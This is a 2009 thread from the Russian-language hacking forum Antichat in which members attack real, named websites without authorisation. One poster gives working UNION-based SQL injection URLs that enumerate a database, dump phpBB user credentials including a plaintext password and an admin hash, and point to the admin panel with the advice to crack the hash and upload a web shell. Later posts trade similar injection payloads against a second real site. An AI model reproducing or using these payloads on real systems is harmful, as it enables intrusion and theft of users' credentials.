ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
29.01.2009, 04:29
|
|
Познающий
Регистрация: 21.01.2009
Сообщений: 98
Провел на форуме:
227123
Репутация:
122
|
|
Сообщение от попугай
чо вы там мучаетесь - надо уже шелл заливать ))
а что даст шелл?...я принципально знаю что это..но всё же...подскажи,или может faq на єту тему
|
|
|
29.01.2009, 04:33
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557
Репутация:
606
|
|
Сообщение от TELO
а что даст шелл?...я принципально знаю что это..но всё же...подскажи,или может faq на єту тему
ну а зачем, тогда скуль раскручивать? Чтоб получить шелл или админку хотя бы.. чтоб доступ получить к серву.. а дальше уж решай сам..
что касается админки -это фейк какой то наверное.. левая админка видимо..
|
|
|
|
29.01.2009, 04:48
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
ыыыыы
http://www.sex.dp.ua/phpinfo.php
|
|
|
|
29.01.2009, 05:06
|
|
Познающий
Регистрация: 21.01.2009
Сообщений: 98
Провел на форуме:
227123
Репутация:
122
|
|
Сообщение от Pashkela
ыыыыы
http://www.sex.dp.ua/phpinfo.php
матёро))
|
|
|
|
29.01.2009, 05:53
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
Там есть форум phpbb3. можно поглумиться  )) А можно и шелл залить:
Код:
http://www.sex.dp.ua/forum/
http://sex.dp.ua/details.php?id=-5202%20UNION%20SELECT%201,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+information_schema.columns+where+table_name=0x7068706262335F7573657273--
http://sex.dp.ua/details.php?id=-5202%20UNION%20SELECT%201,unhex(hex(concat(username,0x3a,user_password))),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+phpbb3_users+limit+2,1--
Сашок - 220778 (юзер с ID=3).
http://sex.dp.ua/details.php?id=-5202%20UNION%20SELECT%201,unhex(hex(concat(user_type,0x3a,username,0x3a,user_password))),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+phpbb3_users+where+user_type=3+limit+0,1--
3:admin:$H$7mXvdxG0gVQriTbrzTiSoJAUtMUjEA/
админка здесь:
http://www.sex.dp.ua/forum/adm/
Расшифровывай хеш, заливай шелл
Последний раз редактировалось Pashkela; 29.01.2009 в 06:04..
|
|
|
|
29.01.2009, 06:29
|
|
Banned
Регистрация: 20.06.2008
Сообщений: 296
Провел на форуме:
1385078
Репутация:
126
|
|
а если скуля слепая без вывода (1 столбец)
что делать?
как вывести то?
|
|
|
|
29.01.2009, 06:41
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
Читать мою подпись - там на все случаи практически. Или ссылку сюда давай
|
|
|
|
29.01.2009, 11:56
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
F4R в слепой скуле только подзапросы, читай статьи по скулям, материала куча, практически в любой статье есть описание работы с подзапросами
Octave_Parango на каком твоём случае нужно превести пример? Ссылки нет. И что значит лимит не работает? Так не бывает к счастью ). Он просто не может не работать. А дамп базы через скуль, это вобщем никогда не было приятной процедурой(особенно когда вывод по одной записи). Скуль для этого вобщем-то не используют в основном. Через неё получают доступ в админку, или напрямую льют шелл, а потом уже дампят базу
|
|
|
|
29.01.2009, 12:53
|
|
Постоянный
Регистрация: 14.05.2006
Сообщений: 334
Провел на форуме:
1543521
Репутация:
272
|
|
не пойму как вывести через group_concat(),вот как делаю:
Код:
http://www.ovalframes.co.za/index.php?page_name=more&type=circle&frame_id=17897669898768+union+select+1,2,3,4,group_concat(table_name%20separator%200?0a),6,7,8,9,10,11,12,13,14,15+from+information_schema.tables--
вот уязвимость без group_concat():
Код:
http://www.ovalframes.co.za/index.php?page_name=more&type=circle&frame_id=17897669898768+union+select+1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15+from+information_schema.tables--
|
|
|
|
29.01.2009, 12:56
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
http://www.ovalframes.co.za/index.php?page_name=more&type=circle&frame_id=1789 7669898768+union+select+1,2,3,4,group_concat(table _name),6,7,8,9,10,11,12,13,14,15+from+information_ schema.tables--
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид